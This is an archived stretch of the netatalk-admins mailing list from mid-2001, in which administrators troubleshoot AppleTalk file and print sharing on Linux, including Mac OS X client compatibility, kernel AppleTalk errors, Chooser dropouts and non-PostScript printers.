kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwNjI4MjMzOTI5WjAjBgkq
hkiG9w0BCQQxFgQU4ccQYfms4UOsaK/i4JJfwGhtt7YwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAYuCMFIt0Ge5XIGP8e4hShBOuXAXvoJ24nF26nMjnc7jnuMg/hKRdM/WaMyDeBYY8yW779
SRkyc8cdBZCm0MwbsZrLG/B3ggwO84qe6Igl7MJOYM9nfP5XObnRBnCwOJZ0/+BP0TPfVdPD
9WWjr5VUbqBryMkIp3dIc+OOCJkmhg==
--------------ms50D8D614DB85C28A928FFC37--


From netatalk.administrators-errors@umich.edu  Fri Jun 29 04:55:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA25042
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 29 Jun 2001 04:55:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA12898
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 29 Jun 2001 04:55:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA12890
	for netatalk.administrators-members@umich.edu; Fri, 29 Jun 2001 04:55:57 -0400 (EDT)
Received: from duo.be (dns.duo.be [193.121.105.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA12880
	for <netatalk-admins@umich.edu>; Fri, 29 Jun 2001 04:55:56 -0400 (EDT)
Received: from [193.121.105.73] (193.121.105.73) by duo.be with ESMTP
 (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Fri, 29 Jun 2001 10:57:00 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 29 Jun 2001 10:55:48 +0200
Subject: Re: natalk and Mac OS X
From: Peter Duchateau <peter@duo.be>
To: <netatalk-admins@umich.edu>
Message-ID: <B7620F34.2A8E%peter@duo.be>
In-Reply-To: <15163.29053.760387.119641@griddle.infoplease.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We found a solution for this problem on sourceforge.

Mac OS X clients require a loginmessage from the server.



> From: <boris@alert.infoplease.com>
> Date: Thu, 28 Jun 2001 14:03:41 -0400
> To: Stanton Schell <stanton@livsform.com>, Vic Landi
> <vic@mail.jamesltaylor.com>, Peter Duchateau <peter@duo.be>
> Subject: Re: natalk and Mac OS X
> 
> 
> In case you didn't see it, here's my earlier message on getting OS X
> to work with netatalk.
> 
> Bng
> 
> Date: Fri, 1 Jun 2001 16:23:06 -0400
> To: Brian Hendrickson <brian@megapump.com>
> Cc: "Pedro Miguel F. Custodio" <pecus@netvisao.pt>, netatalk-admins@umich.edu
> Resent-From: netatalk-admins@umich.edu
> From: <boris@alert.infoplease.com>
> Subject: Re: MacOS X vs Linux HELP.
> 
>>>>>> Brian Hendrickson writes:
> BH> I'm sure the developers are sorting all of this out right now for the
> BH> next release, but if anybody knows how to configure netatalk for Mac OS X,
> BH> please post to the list, thanks!
> 
> There are some useful discussions of this issue on the OS X discussion
> boards at apple.com.  For example, see this thread:
> http://discussions.info.apple.com/WebX?13@@.eedb03f/8
> (registration required).
> 
> The bottom line is that there is one, and apparently only one, version
> of netatalk that works with Mac OS X right now:
> ftp://ftp.cobaltnet.com/pub/users/asun/testing/pre-asun2.1.4-37b.tar.gz
> which is version netatalk-1.4b2+asun2.1.4-pre37b.
> 
> Some people additionally suggest adding -DUSE_FLOCK_LOCKS to the compile
> flags.
> 
> Thanks to Richard Eisenman for figuring this out!
> 
> No guarantees, but I'm using this combination and it is working pretty
> well.  I do hope someone can figure out what this version does
> differently, and patch the newer versions to work with OS X too.
> 
> Bng
> --
> Boris Goldowsky            Director of Engineering & Development
> Information Please         boris@infoplease.com
> www.infoplease.com         617 542-6500 x 2324


From netatalk.administrators-errors@umich.edu  Fri Jun 29 08:51:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA29478
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 29 Jun 2001 08:51:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA06607
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 29 Jun 2001 08:51:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06591
	for netatalk.administrators-members@umich.edu; Fri, 29 Jun 2001 08:51:15 -0400 (EDT)
Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06550
	for <netatalk-admins@umich.edu>; Fri, 29 Jun 2001 08:51:14 -0400 (EDT)
Received: from [192.168.1.10] ([24.91.225.110])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id f5TCpN616784
	for <netatalk-admins@umich.edu>; Fri, 29 Jun 2001 08:51:24 -0400 (EDT)
Mime-Version: 1.0
X-Sender: michelle@murrain.net (Unverified)
Message-Id: <a05100303b76228cd5fe6@[192.168.1.10]>
Date: Fri, 29 Jun 2001 08:49:48 -0400
To: netatalk-admins@umich.edu
From: Michelle Murrain <michelle@murrain.net>
Subject: Problems with netatalk in a Progeny debian install
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi Folks,

I've been using netatalk for quite some time now, and just installed 
Progeny debian (1.0) on box I'd had debian woody on. I used the 
debian package to install netatalk, and got the following error:

"Address family not supported by protocol"

I've never come across this issue before with netatalk, and I've 
installed it both from source and from a debian package. This 
netatalk package actually comes from debian potato, not progeny.

I did a bit of searching on the net for this issue, and only found 
this question, but no answers.

I'm wondering if this is a kernel issue - I'm running kernel 2.2.18 
(yes, I'll be upgrading the kernel very soon on this box).

Thanks!

Michelle
-- 

From netatalk.administrators-errors@umich.edu  Fri Jun 29 09:14:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA00433
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 29 Jun 2001 09:14:33 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA05193
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 29 Jun 2001 09:14:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05177
	for netatalk.administrators-members@umich.edu; Fri, 29 Jun 2001 09:14:32 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05160
	for <netatalk-admins@umich.edu>; Fri, 29 Jun 2001 09:14:31 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5TDEUP04687;
	Fri, 29 Jun 2001 09:14:30 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B3C7F27.8F898569@univrel.pr.uconn.edu>
Date: Fri, 29 Jun 2001 09:14:15 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Michelle Murrain <michelle@murrain.net>
CC: netatalk-admins@umich.edu
Subject: Re: Problems with netatalk in a Progeny debian install
References: <a05100303b76228cd5fe6@[192.168.1.10]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Michelle Murrain wrote:
> 
> Hi Folks,
> 
> I've been using netatalk for quite some time now, and just installed
> Progeny debian (1.0) on box I'd had debian woody on. I used the
> debian package to install netatalk, and got the following error:
> 
> "Address family not supported by protocol"
> 
> I've never come across this issue before with netatalk, and I've
> installed it both from source and from a debian package. This
> netatalk package actually comes from debian potato, not progeny.
> 
> I did a bit of searching on the net for this issue, and only found
> this question, but no answers.
> 
> I'm wondering if this is a kernel issue - I'm running kernel 2.2.18
> (yes, I'll be upgrading the kernel very soon on this box).

I think it might be because appletalk support isn't compiled into the
kernel. Use -noddp as an option in afpd.conf to disable appletalk
support and run via TCP/IP, if you want to go that way.

Jeff

From netatalk.administrators-errors@umich.edu  Fri Jun 29 09:46:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA02307
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 29 Jun 2001 09:46:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id JAA21942
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 29 Jun 2001 09:46:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA21930
	for netatalk.administrators-members@umich.edu; Fri, 29 Jun 2001 09:46:06 -0400 (EDT)
Received: from chmls20.mediaone.net (chmls20.mediaone.net [24.147.1.156])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA21885
	for <netatalk-admins@umich.edu>; Fri, 29 Jun 2001 09:46:05 -0400 (EDT)
Received: from [192.168.1.10] ([24.91.225.110])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id f5TDkE615864;
	Fri, 29 Jun 2001 09:46:14 -0400 (EDT)
Mime-Version: 1.0
X-Sender: michelle@murrain.net (Unverified)
Message-Id: <a05100305b76233fb003e@[192.168.1.10]>
In-Reply-To: <3B3C7F27.8F898569@univrel.pr.uconn.edu>
References: <a05100303b76228cd5fe6@[192.168.1.10]>
 <3B3C7F27.8F898569@univrel.pr.uconn.edu>
Date: Fri, 29 Jun 2001 09:45:05 -0400
To: jeff <jeff@univrel.pr.uconn.edu>
From: Michelle Murrain <michelle@murrain.net>
Subject: Re: Problems with netatalk in a Progeny debian install
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 9:14 AM -0400 6/29/01, jeff wrote:
>
>I think it might be because appletalk support isn't compiled into the
>kernel. Use -noddp as an option in afpd.conf to disable appletalk
>support and run via TCP/IP, if you want to go that way.

Hmmmm, well, I still get the same error message, but now it seems to work.

Thanks.

Michelle
-- 

From netatalk.administrators-errors@umich.edu  Mon Jul  2 02:30:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA25353
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Jul 2001 02:30:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA18560
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Jul 2001 02:29:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA18545
	for netatalk.administrators-members@umich.edu; Mon, 2 Jul 2001 02:29:48 -0400 (EDT)
Received: from captain.intern.channel-one.de (hobbes-x.channel-one.de [194.163.245.111])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA18495
	for <netatalk-admins@umich.edu>; Mon, 2 Jul 2001 02:29:46 -0400 (EDT)
Received: from dhcp-11.intern.channel-one.de (channel-one.de) [192.168.66.11] 
	by captain.intern.channel-one.de with esmtp id 15GxDZ-0002Rn-00; Mon, 02 Jul 2001 08:29:57 +0200
Sender: hr@channel-one.de
Message-ID: <3B4022C1.443CC0EF@channel-one.de>
Date: Mon, 02 Jul 2001 09:29:05 +0200
From: Heinz Richarz <hr@channel-one.de>
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.4.0-4GB i586)
X-Accept-Language: de, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: LWSelect 300
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,
I have a problem to integrate an Apple LaserWriter Select 300 to my net.
nbplkup shows
laser:LWSelect300 an the adress. But nothing goes. Do I configurate the
papd.conf?, or anything else.
Who can help me?
Greetings
Heinz Richarz

From netatalk.administrators-errors@umich.edu  Mon Jul  2 02:47:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA26039
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Jul 2001 02:47:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA13352
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Jul 2001 02:47:47 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA13341
	for netatalk.administrators-members@umich.edu; Mon, 2 Jul 2001 02:47:46 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA13277
	for <netatalk-admins@umich.edu>; Mon, 2 Jul 2001 02:47:44 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA31584;
	Mon, 2 Jul 2001 09:02:16 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 02 Jul 2001 08:48:20 +0200
Subject: Re: LWSelect 300
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Heinz Richarz <hr@channel-one.de>, <netatalk-admins@umich.edu>
Message-ID: <B765E5D3.D6A3%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3B4022C1.443CC0EF@channel-one.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 02.07.2001 9:29 Uhr schrieb Heinz Richarz:

> I have a problem to integrate an Apple LaserWriter Select 300 to my net.

This Laserwriter is a QuickDraw-only printer. That means it lacks support
for PostScript. (For informations about apple's products take a look at
<http://www.info.apple.com/applespec/applespec.taf>, in your case especially
<http://www.info.apple.com/info.apple.com/applespec/applespec.taf?cat=printe
r&RID=32>)

> nbplkup shows laser:LWSelect300 an the adress.

To print via PAP (Printer Access Protocol) to the printer it should publish
itself as "Laserwriter".

> But nothing goes. Do I configurate the papd.conf?, or anything else.

Well, configuring papd.conf would mean, that you will setup a PAP-Spooler
for the printer. But I don't know if there is any support for
Quickdraw-based printers in GhostScript.

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Jul  2 04:45:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28579
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 2 Jul 2001 04:45:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id EAA20891
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 2 Jul 2001 04:45:57 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA20868
	for netatalk.administrators-members@umich.edu; Mon, 2 Jul 2001 04:45:57 -0400 (EDT)
Received: from mike.amaze.nl (mike.amaze.nl [212.204.192.241])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA20821
	for <netatalk-admins@umich.edu>; Mon, 2 Jul 2001 04:45:55 -0400 (EDT)
Received: (from bas@localhost)
	by mike.amaze.nl (8.9.3/8.9.3) id KAA14190
	for netatalk-admins@umich.edu; Mon, 2 Jul 2001 10:45:39 +0200
Date: Mon, 2 Jul 2001 10:45:39 +0200
From: Bas van der Linden <bas@mike.amaze.nl>
To: netatalk-admins@umich.edu
Subject: Netatalk problems, the saga continues (falling from chooser etc.)
Message-ID: <20010702104539.B32755@amaze.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mutt 0.95.4us

Hi all,

Some days ago I mailed to the list with some problems, one of them being that
the server falls off the chooser and reappears again. This is completely random
behavior, there's no telling when that happens (at least not to me :).

One of the tips you gave me was that Intel Eepro/100 NIC's were known to have
some problems, expecially with multicasting. 

I disabled the onboard nic and added a 3Com 3c905c-tx to see if that helped.
Unfortunately it didn't.

The problems I am experiencing are:

- Server falling off the chooser and reappearing again
- Other computers suddenly not showing up on the chooser anymore (where before
  the netatalk server was installed they did)
- Writes to the server occasionally stall (I just experienced a stall for about
  5-10 minutes when writing a <1 mb flas animation)
- general stalls when accessing the server occasionally (for instance when doing
  a directory lookup)

I don't see any errors in logfiles, other than standard things I would expect.
Things like this:
Jul  2 08:06:02 fileserver2 afpd[6078]: ASIP session:548(2) from 195.193.216.36:49166(0)
Jul  2 08:06:02 fileserver2 afpd[6078]: login noauth
Jul  2 08:06:02 fileserver2 afpd[6078]: login nobody (uid 99, gid 99)
Jul  2 08:06:11 fileserver2 afpd[6078]: logout nobody
Jul  2 08:06:11 fileserver2 afpd[6078]: 3.21KB read, 5.44KB written
Jul  2 08:06:11 fileserver2 afpd[712]: server_child[1] 6078 done

That looks normal to me :)

I haven't seen errors about networks or nics being resetted at all (wich was the
sometimes the case with Intel Eepro/100).


I'm running RH Linux 6.2, kernel 2.4.3, netatalk 1.4b2+asu-2.1.4-0.

These are my configs:

---- afpd.conf ----

# We are defining 2 servers here, one permits access to the general share, one permits access to the 'sys' share.
# The standard server should permit access to the general share.

- -tcp -ipaddr 195.193.216.32 -nocrlf -guest -nocleartext -guestname "nobody"

# The next server should permit to the 'sys' share

"SYS Server" -tcp -ipaddr 195.193.216.32 -port 12000 -loginmesg "Deze share is alleen voor toegang tot de 'sys' share!" -defaultvol /etc/atalk/sys-server/AppleVolumes.default -systemvol /etc/atalk/sys-server/AppleVolumes.system -nocrlf -guest -nocleartext



---- atalkd.conf ----

eth0 -phase 2 -net 0-65534 -addr 65310.10


---- config ----

AFPD_MAX_CLIENTS=50
ATALK_NAME=fileserver
ATALK_BGROUND=no
AFPD_RUN=yes
PAPD_RUN=yes


And this is the result of 'nbplkup':

                     SYS Server:AFPServer                          65310.10:129
                     fileserver:AFPServer                          65310.10:128
                     fileserver:netatalk                           65310.10:4
                     fileserver:Workstation                        65310.10:4
                711401-1BD09C78:Miramar AppleTalk Stack            65467.216:255
                           MAYA:Windows NT Workstation             65467.216:0
                           MAYA:AFPServer                          65467.216:129
                 RobÕs Computer:Multi-User Client                  65280.128:48
                 RobÕs Computer:  Power Macintosh                  65280.128:252
                 RobÕs Computer:Workstation                        65280.128:4
         Marco Klein's computer:  Power Macintosh                  65280.128:252
         Marco Klein's computer:Workstation                        65280.128:4
                               :ARA - Personal Server              65280.128:2
                      <Unnamed>:  Power Macintosh                  65280.128:252
       0100356122|ńRobHooG3’xų:QuarkXPress<                       65425.120:248
                       RobHooG3:RRNOTIFY                           65425.120:251
                      Notify|78:PipeNotify                         65425.120:250
                       RobHooG3:Multi-User Client                  65425.120:48
                       RobHooG3:  Power Macintosh                  65425.120:252
                       RobHooG3:Workstation                        65425.120:4
                       RobTesG3:Multi-User Client                  65280.128:48
                       RobTesG3:  Power Macintosh                  65280.128:252
                       RobTesG3:Workstation                        65280.128:4
               Fiery_5750_Print:EFI-NamedAppQueues                 65280.220:129
                Fiery_5750_Hold:EFI-NamedAppQueues                 65280.220:130
                     Fiery_5750:EFI-AppQueue                       65280.220:129
              Fiery_5750_Direct:EFI-NamedAppQueues                 65280.220:128
                Fiery_5750_Hold:LaserWriter                        65280.220:130
               Fiery_5750_Print:LaserWriter                        65280.220:129
              Fiery_5750_Direct:LaserWriter                        65280.220:128
Marco Klein & PartnersÕs Comput:AFPServer                          65287.47:247
320EE7BA04D14CAF30433B09CEE8C5CC:NSCP                               65287.47:248
Marco Klein & PartnersÕs Comput:ADServer                           65287.47:251
Marco Klein & PartnersÕs Comput:  Power Macintosh                  65287.47:252
Marco Klein & PartnersÕs Comput:Workstation                        65287.47:4
                          dtp 4:PipeAqua                           65413.175:249
                      Notify|af:PipeNotify                         65413.175:239
                8600Õs Computer:ARA - Personal Server              65413.175:2
                8600Õs Computer:Multi-User Client                  65413.175:48
                8600Õs Computer:  Power Macintosh                  65413.175:252
                8600Õs Computer:Workstation                        65413.175:4
               LaserWriter 8500:LaserWriter                        20.130:129
          LaserWriter 16/600 PS:LaserWriter                        1.129:129


If anyone has some advice for me, I'd be really happy to hear it!

Hope you had a good weekend and will have a good day,


Bas van der Linden


-- 
B.J.J. van der Linden           	-=- 
Brouwersgracht 132               Amaze Internet Services
1013 HA Amsterdam                	-=-
Tel:	+31-20-4688336		   Linux/Web/Zope/SQL
Fax:	+31-20-4688337		   Network Solutions
Web:	http://www.amaze.nl	     Consultancy
Email:	bas@amaze.nl			-=-

From netatalk.administrators-errors@umich.edu  Wed Jul  4 01:32:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA12860
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Jul 2001 01:32:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id BAA22202
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Jul 2001 01:31:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA22190
	for netatalk.administrators-members@umich.edu; Wed, 4 Jul 2001 01:31:56 -0400 (EDT)
Received: from smtp02.iprimus.net.au (www02.pod02.corp.iprimus.net.au [203.134.65.107])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA22130
	for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 01:31:55 -0400 (EDT)
Received: from [223.1.1.5] ([210.50.17.64]) by smtp02.iprimus.net.au with Microsoft SMTPSVC(5.0.2195.3571);
	 Wed, 4 Jul 2001 15:31:58 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 04 Jul 2001 15:33:12 +1000
Subject: setting up non postscript printer + access privilieges
From: online perspective <onlineperspective@iprimus.com.au>
To: netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B768E7B8.A9D%onlineperspective@iprimus.com.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-OriginalArrivalTime: 04 Jul 2001 05:31:58.0685 (UTC) FILETIME=[A515E0D0:01C1044A]

Hi all,

i am trying to setup an epson photo ex connected to the linux box so that
the mac connected to the lan would print to it,

the linux box prints perfectly to it, and i ve got the windows stations
printing too, 

tha mac sees the printer but returns a postscript error !

and regarding access privileges, for some reason (I have all rights valid
everywhere ) i can create and delete folders on the linux box from the mac,
but i can't seem to create or remove files !!

please somebody help !!

thanks a million for your feedback !

jerome


From netatalk.administrators-errors@umich.edu  Wed Jul  4 08:24:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20125
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Jul 2001 08:24:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA07717
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Jul 2001 08:23:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA07693
	for netatalk.administrators-members@umich.edu; Wed, 4 Jul 2001 08:23:55 -0400 (EDT)
Received: from mailout02.sul.t-online.de (mailout02.sul.t-online.com [194.25.134.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA07655
	for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 08:23:54 -0400 (EDT)
Received: from fwd06.sul.t-online.de 
	by mailout02.sul.t-online.de with smtp 
	id 15HlhJ-0001xa-01; Wed, 04 Jul 2001 14:24:01 +0200
Received: from server.linau.de (320064501249-0002@[217.4.66.220]) by fmrl06.sul.t-online.com
	with esmtp id 15Hlh1-01yurQC; Wed, 4 Jul 2001 14:23:43 +0200
Received: from [192.168.2.2] (helo=[192.168.2.2])
	by server.linau.de with esmtp (Exim 3.12 #1 (Debian))
	id 15Hlk5-0000Xv-00
	for <netatalk-admins@umich.edu>; Wed, 04 Jul 2001 14:26:53 +0200
Mime-Version: 1.0
Message-Id: <p04310104b768bb0b6e01@[192.168.2.2]>
In-Reply-To: <B768E7B8.A9D%onlineperspective@iprimus.com.au>
References: <B768E7B8.A9D%onlineperspective@iprimus.com.au>
X-Mailreader: Eudora 4.3.1 Macintosh
Date: Wed, 4 Jul 2001 14:26:38 +0200
To: <netatalk-admins@umich.edu>
From: Christian Schmidt <ChriSchmiLi@gmx.de>
Subject: Re: setting up non postscript printer + access privilieges
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Sender: 320064501249-0002@t-dialin.net

online perspective schrieb am 15:33 Uhr +1000:

>  i am trying to setup an epson photo ex connected to the linux box so that
>  the mac connected to the lan would print to it,
>
>  the linux box prints perfectly to it, and i ve got the windows stations
>  printing too,
>
>  tha mac sees the printer but returns a postscript error !

Your papd needs an input filter that can "convert" PostScript 
commands into a language your printer understands. You can do this 
using ghostscript. Some time ago, I found a website that provided 
very useful information on this problem, but I don't remember the 
URL....

Try "googl'ing" (http://www.google.com) for "Printing with netatalk" 
and insert exactly these words.

hth,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Wed Jul  4 19:46:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04115
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Jul 2001 19:46:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA05846
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Jul 2001 19:46:52 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA05828
	for netatalk.administrators-members@umich.edu; Wed, 4 Jul 2001 19:46:52 -0400 (EDT)
Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA05799
	for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 19:46:51 -0400 (EDT)
Received: from masella.dynodns.net ([64.229.99.145])
          by tomts7-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010704234650.BHDC216.tomts7-srv.bellnexxia.net@masella.dynodns.net>
          for <netatalk-admins@umich.edu>; Wed, 4 Jul 2001 19:46:50 -0400
Received: from WindowsBox (WindowsBox.Masella.Etobicoke [192.168.0.48])
